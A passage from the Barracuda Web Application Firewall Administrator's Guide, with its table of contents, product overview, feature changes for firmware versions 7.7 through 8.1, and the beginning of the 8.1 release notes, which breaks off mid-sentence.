1.16 Networking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 482
1.16.1 Network Address Translation (NAT) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 484
1.16.2 Access Control List (ACL) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 485
1.16.3 ACLs for Forwarded Traffic . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 486
1.16.4 Virtual Local Area Network (VLAN) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 487
1.16.5 Routes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 488
1.16.6 Interfaces . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 489
1.16.7 Configuration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 490
1.17 System Administration and Maintenance . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 491
1.17.1 Updating Firmware on the Barracuda Web Application Firewall . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 492
1.17.2 Updating the Firmware in Clustered Units . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 494
1.17.3 Backing up and Restoring your System Configuration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 495
1.17.4 Scheduling Automated FTP Backups . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 496
1.17.5 Scheduling Automated SMB Backups . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 497
1.17.6 How to Configure Role Based Administration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 498
1.17.7 Barracuda Web Application Firewall Hardware Features . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 502
1.17.8 How to Clear Configuration on the Barracuda Web Application Firewall . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 508
1.17.9 Rebooting the System in Recovery Mode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 509
1.17.10 Replacing a Failed System . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 510
1.17.11 How to Revert the Firmware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 511
1.17.12 Reverting the Firmware in Clustered Units . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 512
1.17.13 Templates . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 513
1.17.13.1 Templates Version 1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 514
1.17.13.2 Templates Version 2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 516
1.17.13.2.1 Factory Shipped Templates . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 520
1.18 Simple Network Management Protocol (SNMP) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 521
1.18.1 SNMP Configuration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 522
1.18.2 SNMP GET Commands . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 530
1.19 Certificate Management . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 531
1.19.1 Introduction to Certificates . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 532
1.19.2 How to Add an SSL Certificate . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 533
1.19.3 Installing SSL Certificates with Correct Chain Order . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 535
1.19.4 Creating a Client Certificate . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 537
1.20 Extended Match Syntax Help . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 539
1.21 Attacks Description - Action Policy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 541
1.22 How to Use IPV6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 581
1.23 How To Enable FIPS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 583
1.24 Evaluation Policy and Flow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 586
1.25 REST API . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 598
1.25.1 Vsites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 602
1.25.2 Service Group . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 606
1.25.3 Virtual Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 608
1.25.4 Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 622
1.25.5 Content Rule . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 629
1.25.6 Rule Group Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 634
1.25.7 Certificates . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 641
1.25.8 Trusted Hosts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 650
1.25.9 Security Policy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 653
1.25.9.1 Data Theft Protection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 661
1.25.9.2 Global ACLs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 665
1.25.9.3 Action Policy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 671
1.25.10 Allow/Deny Rules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 675
1.25.11 Clustering . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 683
1.25.12 Status Codes and Error Responses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 687
1.26 Glossary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 688
1.26.1 Application Distributed Denial-of-Service (DDoS) Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 689
1.26.2 Brute Force Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 691
1.26.3 Cookie Replay Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 693
1.26.4 Cross-Site Request Forgery . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 695
1.26.5 Cross-Site Scripting Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 698
1.26.6 Directory Traversal Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 700
1.26.7 Forceful Browsing Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 702
1.26.8 Remote File Inclusion Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 704
1.26.9 Session Replay Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 706
1.26.10 SQL Injection Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 707
Barracuda Web Application Firewall Administrator's Guide - Page 5
Barracuda Web Application Firewall - Overview

The Barracuda Web Application Firewall blocks an ever-expanding list of sophisticated web-based intrusions and attacks that target applications
hosted on web servers and in the cloud. The Barracuda Web Application Firewall scans all inbound web traffic to block attacks, and inspects the
HTTP responses from the configured back-end servers for Data Loss Prevention (DLP). The integrated access control engine enables
administrators to create granular access control policies for Authentication, Authorization & Accounting (AAA) without requiring application
changes. The onboard L4/L7 Load Balancing capabilities enable organizations to add back-end servers quickly to scale deployments as they
grow. Its application acceleration capabilities like SSL Offloading, caching, compression, and connection pooling ensure faster application
delivery of the web application content.
The Barracuda Web Application Firewall is available in multiple models and can be used to securely deploy applications of any size. For
information on available models, refer to the Barracuda Web Application Firewall Datasheet and Barracuda Web Application Firewall Hardware
Datasheet.
Where to Start
Learn about your Deployment Options.
If you have the Barracuda Web Application Firewall Vx virtual machine, start here: Virtual Deployment .
If you have the Barracuda Web Application Firewall appliance, start here: Getting Started.
Alternatively, you can download the Barracuda Web Application Firewall Quick Start Guide in English or German.
Key Features
Protection from common, high-visibility attacks – SQL injection, Cross Site Scripting, Command injection, CSRF, XML attacks, Antivirus
Protection, Adaptive Profiling
Protection from attacks based on session state – Session Hijacking, Cookie Tampering, Clickjacking
Brute Force Attack Prevention
Application denial of service (DoS) protection – Slow Client Attack, DDoS Prevention using CAPTCHA, IP Reputation Filter
Data Theft Protection – Deep inspects all server responses to prevent leakage of sensitive information using provided default patterns
(credit card data, social security numbers, etc.) or User Defined Patterns (Custom Patterns).
Website Cloaking – Strips identifying banners and version numbers from web server software and provides customizable HTTP error
handling to defeat server fingerprinting attacks (suppressing error codes and filtering headers).
Access Control – Form and Basic Authentication and Single Sign On with integrations into LDAP, RADIUS, CA SiteMinder, RSA
SecurID, Kerberos, SMS Passcode
Application Delivery – Load Balancing, Caching and Compression, SSL Offloading, Rate Control
Logging, Reporting and Monitoring – Inbuilt reporting module, Web Firewall Logs, Access Logs, Audit Logs, Configuring Syslog
Additional Resources
Barracuda Web Application Firewall REST API Guide
Configuring Syslog and other Logs
System Log Messages
Mitigating Website Vulnerabilities using Vulnerability Scanners
Copyright © 2015, Barracuda Networks Inc.

What's New in the Barracuda Web Application Firewall
What's New in Version 8.1

Enhanced Web Scraping Protection: To tackle increasingly sophisticated web scrapers, this release adds support for enhanced web
scraping that provides multiple protection mechanisms against scrapers. This includes embedding web-based honeypots to trap
scrapers, headless browser detection, mouse and keyboard detection and detection of clients based on common automation tools like
PhantomJS. At the same time search engine crawlers are whitelisted and validated using reverse DNS lookups on their IP addresses.
This also helps identify fake googlebots, etc.
Granular Binding of Security Policies: Security Policies can now bind at a URL or domain level. Earlier these policies had to be
associated at a service or VIP level. This allows having separate policies for applications that are on the same server and IP. For
example, http://barracuda.com/partner and http://barracuda.com/collaborate could be on the same VIP but can now have different
policies associated with them, e.g. WordPress and SharePoint policy respectively.
Support for AMQP formatting in Exported Logs: AMQP (1.0 version) protocol support added to export logs to external aggregators
that are compliant to AMQP message queuing, including Microsoft Azure's Event Hub. AMQP is a binary, application layer protocol,
designed to efficiently support a wide variety of messaging applications and communication patterns and is being increasingly supported
in SIEM solutions and message-oriented middleware.
URL Profile Optimization: Many applications generate different URLs for similar content, like for different products in an ecommerce
portal. From a security perspective the profile remains the same with similar URL parameters, FORMs, access methods, etc. Under
Adaptive Profiling, this can generate a large number of URL and parameter profiles. URL optimizers can now be used to coalesce such
URLs into a single profile for easier management and better system performance.
Support for Auto-Scaling in AWS: The Barracuda Web Application Firewall cluster in AWS can now auto-scale without admin
intervention. Earlier dynamic scaling support required an admin to spin up additional instances manually that then synchronized amongst
each other. The auto-scale feature allows the cluster to scale out automatically within limits that can be specified. With this feature, the
Barracuda Web Application Firewall can now be launched automatically using CloudFormation templates and integrates with various
AWS services, including IAM, Cloudwatch, S3 and SNS. The Barracuda Web Application Firewall is now also certified as part of the
AWS Security Competency Program.
SAN Certificate CSR: This release adds the ability to create Certificate Signing Request (CSR)/self-signed for SAN certificates. SAN
certificates are commonly used for Microsoft applications and are even recommended in some instances. SAN Certificates allows
organizations to specify alternative domains for a service. For example a SAN certificate for www.example.com could have the
alternative domains www.examples.net and www.ex.com listed as alternative names for the same service. This partially solves the
multi-domain limitation with wildcard certificates though SAN Certificates are more expensive than single domain certificates and are
often limited to 3-5 domains.
Support for JSON Key Profiles: This is an enhancement to the JSON security module, where the administrator can define granular
policies for JSON Keys, akin to URL and parameter profiles.
Load Balancing across Server Name Resolution: When a server uses hostname as the identifier, rather than IP address, and if it
resolves to multiple IPs, the system performs load balancing across these IP addresses. This is especially important in IaaS
environments.
Integration with Barracuda Vulnerability Manager, HPE Fortify OnDemand and HPE Fortify WebInspect Vulnerability Scanners:
Barracuda Web Application Firewall can now import and virtually patch vulnerabilities discovered by running the Barracuda Vulnerability
Manager, HPE Fortify OnDemand and HPE Fortify WebInspect Vulnerability scanners. This is in addition to the scanners already
supported.
Integration with Denim ThreadFix:The Denim ThreadFix tool provides the capability to translate the reports from multiple scanners into
a format that can be imported by the Barracuda Web Application Firewall. This integration now allows the Barracuda Web Application
Firewall to integrate with over 20 different vulnerability scanners for simplified virtual patching of vulnerabilities.
Support for HTTP/2 and Websockets (BETA):
The Barracuda Web Application Firewall provides Beta support for HTTP/2 Offloading. This means that the Barracuda Web
Application Firewall can provide an HTTP/2 connection front-end to clients while the back-end connection to the server is via
HTTP/1.1.
The Barracuda Web Application Firewall can now also support WebSocket traffic. With WebSocket support, the Barracuda Web
Application Firewall behaves as a pass through proxy and does not intercept or analyze the traffic.
For detailed information on fixes and enhancements in the Firmware Version 8.1, see Release Notes Version 8.1.
What's New in Version 8.0.1

Support for SSL/TLS Version based Redirection: Due to vulnerabilities, administrators are disabling older versions of SSL/TLS. With
this release, you can configure the Barracuda Web Application Firewall to redirect clients to the relevant error page, making it easier to
identify the cause of any error.
Support for Cipher Suite override based on SSL/TLS versions: Because specific cipher suite and SSL/TLS version combinations
have vulnerabilities, the Barracuda Web Application Firewall can now be configured to limit allowed cipher suites for a given SSL/TLS
protocol version.
For detailed information on fixes and enhancements in the Firmware Version 8.0.1, see Release Notes Version 8.0.1.


Support for JSON Payload Inspection: RESTful applications are increasingly adopting JSON over XML as a data interchange format.
With this release, the Barracuda Web Application Firewall can parse and inspect JSON content in requests. Protection includes input
validation as well as JSON sanity checks to shield JSON parsers from DoS attacks.
Enhancements to Logs and Reporting: Among other things, these include a new multi-line log entry layout, visual cues for response
codes, severity and action taken, easier page navigation with page numbering, and additional information about the vulnerabilities in
the details. Drill down capability that was added to the reporting module earlier has been enhanced to provide multi-drill downs allowing
more choice to the user.
Increased Granularity for Client Certificates: While client certificates have been supported at a Service (Virtual IP) level for a long
time, this release adds support for client certificate policies at the more granular URL space level. Different URL spaces within a service
can now have different client certification policies.
Improved Centralized Management: This firmware co-releases with an on-prem version of Barracuda Control Server (BCS) 4.0 which
provides a scalable, centralized console for unified management, control and visibility into multiple Barracuda Web Application Firewall
units. This is a separately licensed product. For more information, refer to Barracuda Control Server.
What's New in Version 7.9.1

Support for SAML v2: SAML Service Provider (SP) capabilities have been added. This allows offloading SAML-based federated
authentication and authorization where identity is provided by a remote Identity Provider. This also provides interoperability with Microsoft
Azure AD.
Dashboard Enhancement: A Heat map of attacks based on Geo-Location of attack sources has been added to the dashboard on the
Status page.
Logs UI Enhancement: The user interface for the Access, Web Firewall and Audit logs now occupy the full browser width.
Azure Optimizations: Optimizations have been introduced to enhance the performance of small instances in the Azure cloud.
For detailed information on fixes and enhancements in the Firmware Version 7.9.1, see Release Notes Version 7.9.1.

The main themes for this release are reporting and notification enhancements, application security enhancements like URL encryption and PFS
support, and a new infrastructure for templates.
New UI Skin: The product gets a spiffy new UI across the board.
Reporting Enhancements: The new reporting modules carry over 40 ready-to-use reports, including new reports by geography. For
example, you can schedule a report providing a breakdown by country of the traffic hitting your services, or drill down to regions attacking
you most. With a couple of clicks, you can filter security and traffic reports by time frame, services and Top Count. Together, these
provide a very rich set of reports out-of-the-box that you can view instantly or schedule for periodic delivery.
New Notifications Page: A new page, BASIC > Notifications, allows you to configure events to be notified, generated from hardware
components, attacks, or various system modules. To avoid inundating the recipients, it allows you to set individual thresholds for each
notification type. Only when an event trigger exceeds this threshold in a given time interval will the notification be sent out.
URL Encryption: When you turn this on for one or more portals of your web application, the Barracuda Web Application Firewall
encrypts every URL in the response body before sending it to clients. Neither the original URLs nor the directory structure are ever
exposed externally. When a client clicks on a link, the Barracuda Web Application Firewall decrypts it, translates it to the original, then
forwards it to the protected server. Any tampering found during decryption results in the request being denied - thus providing a very
strong mechanism for forceful browsing prevention. It can also work along with adaptive profiling.
SSL Enhancements: Perfect Forward Secrecy (PFS) with ECDSA and RSA certificates and associated ciphers are now supported. The
key exchange mechanism supported is Elliptic Curve DHE. These are increasingly relevant in a post-Snowden world, as communications
intercepted today can never be decrypted even far into the future due to the ephemeral nature of the PFS scheme. You can also
customize backed SSL, including SNI extensions in the TLS header if the server requires it.
New Templates Module: A new, powerful wizard-based UI template mechanism has been added. You can create custom templates for
any object or policy in the system. Templates capture the attributes of the object along with its "children" objects. For example, a
template for a service would contain service attributes like VIP, Port, Mask, Vsite, etc. as well as nested templates for Servers, Rule
Groups, Authentication Policies, SSL Security, etc. Create a service template from one unit and deploy it on another, and the whole
hierarchy is auto-populated.
User Access Control Enhancements: Authentication Services now allow multiple domains for a service. A user can authenticate
across multiple domains using the login format "domain\username". User logins without domain specified are authenticated using the
default domain configured for the service. Support for dual authentication using LDAP and RSA SecurID / Radius with OTP has also
been added.
Admin Account Password Security Enhancements: Barracuda Web Application Firewall administrator accounts can now be
configured with password policies like minimum strength, expiry and maximum retries before account lockout.

Security
DDoS Enhancements: Administrators can define policies for specific URL spaces to ensure suspicious clients are challenged with a
CAPTCHA for verification. These challenges thwart DDOS attacks on process and memory intensive resources of the back-end
applications from bots and crawlers. Configure challenges using the WEBSITES > DDoS Prevention page. Additionally, CAPTCHA
challenges can also be invoked as a Follow Up Action to other attacks, such as SQL Injection, via the Security Policies > Action Policy
feature. Use this to detect and thwart automated tool attempts to repeatedly scan the website for vulnerabilities and waste resources. For
example, sqlmap tool scanning for SQLi can be blocked.
Barracuda Blocklist Integration: Barracuda Blocklist is an extensive IP reputation system that lists IP addresses that are open proxies
or are botnet infected. The system relies on honeypots to flag both web and spam botnets, which are used interchangeably, depending
on the need. Under a DDoS attack, these addresses can be blocked with a single click to deflate the attack, with minimal false positive
risk. Configure this on the WEBSITES > DDoS Prevention page.
True File type checks for File Uploads: In earlier releases, file extension checks could be evaded on a file upload by changing the
extension to match one of the whitelisted extensions. As of this release, such evasions are detected by fingerprinting the file, thus
establishing its true MIME type for comparison to the whitelist. For example, this prevents a hacker from changing a file extension from
.exe to .doc to upload it, since it will be evaluated to application/octet-stream and blocked (assuming the latter has not been added to the
Allowed Mime Types on the WEBSITES > Parameter Protection page).
Kerberos Authentication: The AAA module has been enhanced to support Kerberos authentication to back-end services like OWA and
SharePoint using Kerberos. The front-end authentication is form based while the back-end uses the Kerberos protocol.
Clickjacking Protection: Clickjacking and UI redressing attacks can now be prevented by enabling Clickjacking protection from the
WEBSITES > Advanced Security page.
Cryptography
SNI support: SNI (Server Name Indication ) extension to SSL is now supported. This is particularly useful in a virtual hosting scenario
where organizations may have several domains hosted on a single server using the same IP address and each domain has a distinct
SSL certificate.
CRL (Certification Revocation Lists) support: Client certificate CRLs can be automatically retrieved over HTTP and can be updated
periodically by the system.
Backup Enhancements: System backups can now be done over FTPS.
Performance and Stability improvements: Rearchitected SSL modules now ensure higher transactions per second and throughput
support with less memory footprint and reduced risk of race conditions than earlier releases.
Networking
Synchronization for Network elements: The following objects are now synchronized across the cluster: (1) VLANs (2) Static routes (3)
Interface routes and (4) ACLs. Interfaces in Management network group will not be synced in cluster.
Backup Enhancements: NTLM V2 is now supported while taking system backup.
Deployment: System IP can now be on a VLAN interface.
Persistence Enhancements: The Load balancing module can use HTTP header based persistence for directing traffic to back-end
servers.
Usability improvements
Clients locked out by the configured Follow Up Action of Block Client can now be unblocked manually by the administrator on the
WEBSITES > Advanced Security page.
Parameter profile viewing preferences have been added on the WEBSITES > Website Profiles page.
In a clustered setup, the Join Cluster operation is now available when the Failback Mode is manual, no longer only when in automatic
mode.
NIC speed, duplexity and statistics can now be viewed and edited from ADVANCED > Advanced Networking, under the configuration for
Network Group: System. This is only available when Show Advanced Settings is set to Yes under ADVANCED > System Configuration.
Access Logs now have a host filter.
Interface routes and Custom Virtual Interfaces can now be edited.
The login page can now display a custom message to comply with FISMA, which requires federal systems to display an access notice on
the login pages.
A new tool indicates how an IP address is categorized in the Geo IP database.
The data path can be manually restarted after an attack definitions update.
Logging and Reporting
The logging module has been enhanced to integrate with IBM QRadar SIEM System.

Firmware version 7.7 of the Barracuda Web Application Firewall is a major firmware release enhancing security and networking capabilities
including:

Security
Protection From Slow Client Attacks: Tools designed by network and security experts to test the robustness of their networks are now
being used by the hacker community to attack the applications. Some of these attacks are done using Slowloris, PyLoris, QSlowLoris,
slowhttprequest type of tools. The Barracuda Web Application Firewall augments its security capability by adding a variable traffic
window detection algorithm to thwart these attacks. See Slow Client Attack Prevention.
Access Blocked Based On Client IP Reputation: Protecting your network against botnet requires a multi-pronged strategy. One step
in that direction is to control access to the applications based on IP reputation. The reputation of an IP address is dependent on attributes
such as geographic location of the IP address or its identity as an anonymous proxy. The Barracuda Web Application Firewall now
provides an easy way to block out clients based on Geo Location, Anonymous Proxy identity or Satellite ISP identity. See Configuring IP
Reputation Filter.
Armored Browser Integration: The Barracuda Web Application Firewall now integrates with the Quarri Protect On Q armored browser
to extend security coverage to the client side.
Enhanced Shared Security Policies: CSRF can be enabled using the shared security policy. Enhanced max instances check for
parameters which prevent a class of HTTP Parameter pollution attacks, for wild card parameter profiles.
Finger Print Evasion: Administrators can now change the system generated tokens such as ncforminfo, BNES_ or BNIS_.
Networking
Advanced Routing Capabilities: A virtual site is now a networking entity with its own routing tables and ACLs, allowing services on the
Barracuda Web Application Firewall to be grouped by their routing requirements. See Networking.
Network ACL: Traffic to the server networks can be restricted using network layer ACLs. Network ACLs can now be configured for traffic
that is being NATed or proxied via the Barracuda Web Application Firewall.
Deployment
Active-Active HA: Two Barracuda Web Application Firewalls in a clustered environment can be configured to have active services on
them, and to failover/failback if one of the units fail. See High Availability.
IPv6 Enhancements: Enhanced stability and improvements in the IPv6 functionality.
Usability improvements
Integration with Cenzic for vulnerability patch management.

Bulk edit for Services page.
Persistence of node expansion state in the BASIC > Services page.
Logging and reporting enhancements
Service level SNMP stats: The enhanced SNMP MIB now supports multiple statistics at the application level.
System Logs, (e.g., server up and server down events) are now displayed on the web interface.
Syslog NG integration.
Integration with Splunk and Arcsight now available.

Release Notes Version 8.1
Please Read Before Updating
Before updating to a new firmware version, be sure to back up your configuration and read the release notes for each firmware version which you
will apply.
Do not manually reboot your system at any time during an update, unless otherwise instructed by Barracuda Networks Technical Support.
The update process typically takes only a few minutes to apply. If the process takes longer, please contact Barracuda Networks Technical
Support for assistance.
Change in Behavior
Uploaded file names are now validated for metacharacters, and if the file name contains metacharacters after the first dot, the
request will be blocked. [BNWF-14832]
Requests with Content-Type as "text/plain", are now not included in deep inspection to prevent false positives. [BNWF-19588]
The POST body, in passive mode, is now inspected only till a predefined and hardcoded length of 8K. [BNWF-21937]
Attempt to append extra characters than what is permissible for CAPTCHA answer, is now blocked and the client is treated as
a bot. [BNWF-21353]
GET requests with content-length headers are now allowed. [BNWF-20098]
XML RPC has been deprecated since Version 8.0.1. Use REST API to make API calls.
Fixes and Enhancements in 8.1
Security
Feature: A new Web Scraping feature provides advanced protection against web scraping or harvesting threats. [BNWF-2938]
Feature: Security policy can now be associated with the rule group of a service. This makes it possible to associate security policies
granularly at a URL level rather than a service level only. [BNWF-2786]
Feature: Ability to create Certificate Signing Request (CSR)/self-signed SAN certificate on the Barracuda Web Application Firewall.
[BNWF-14144]
Feature: HTTP Strict Transport Security (HSTS) support is added for the HTTPS services. [BNWF-20512]
Feature: JSON key profile support is added. Specific rules and security measures can be configured for the keys in JSON requests using
the JSON key profile. [BNWF-20666]
Enhancement: It is now possible to enable “SSL Compatibility Mode” for a server, and restrict the list of ciphers to be used to connect
with legacy servers. [BNWF-19436]
Enhancement: Parameter names in the URL are now validated for metacharacters when “Validate Parameter Name” is set to "Yes".
[BNWF-19329]
Enhancement: New identity theft patterns (microsoft-errors, oracle-errors, php-errors, postgres-errors and mysql-errors) are now
available in the SECURITY POLICIES > Data Theft Protection page. [BNWF-22323]
Security Fix: SSH protocol version 1 (v1) is completely disabled. [BNWF-21609]
Fix: After upgrading to version 8.1, the “Default Mode For Updated Patterns” will be changed to “Active”. Therefore, all patterns that gets
updated as part of the latest version of attack definition will set the “Operating Mode” to “Active” under "Attack Types" on the ADVANCED
> View Internal Patterns page. [BNWF-22171]
Fix: The "Policy Fix" for Metacharacter in parameter now removes the metacharacter found in the request from the "Denied
Metacharacters" list in "Parameter Protection". [BNWF-21926]
Fix: The “PROT” command is now forwarded to the FTP server when SSL is enabled for the service. [BNWF-21700]
Fix: After upgrading to 8.1 version, all JSON profiles will be configured with “application/json” as default MIME type, therefore, by default
requests with Content-Type as “application/json” will be validated against JSON profiles. [BNWF-21446]
Fix: The data path crash issue with the JSON requests having keys/values more than 256KB characters, has been addressed.
[BNWF-21151]
Fix: A rare issue that blocked the exempted client IP address/addresses configured in “Exception Clients” on the WEBSITES > Advanced
Security page, has been fixed now. [BNWF-20591]
Fix: Exception profiling fixes for the logs that have been already purged from the database, are now handled gracefully. [BNWF-20105]
Fix: Policy fix can now handle case sensitive parameters gracefully. In other words, if the Barracuda Web Application Firewall encounters
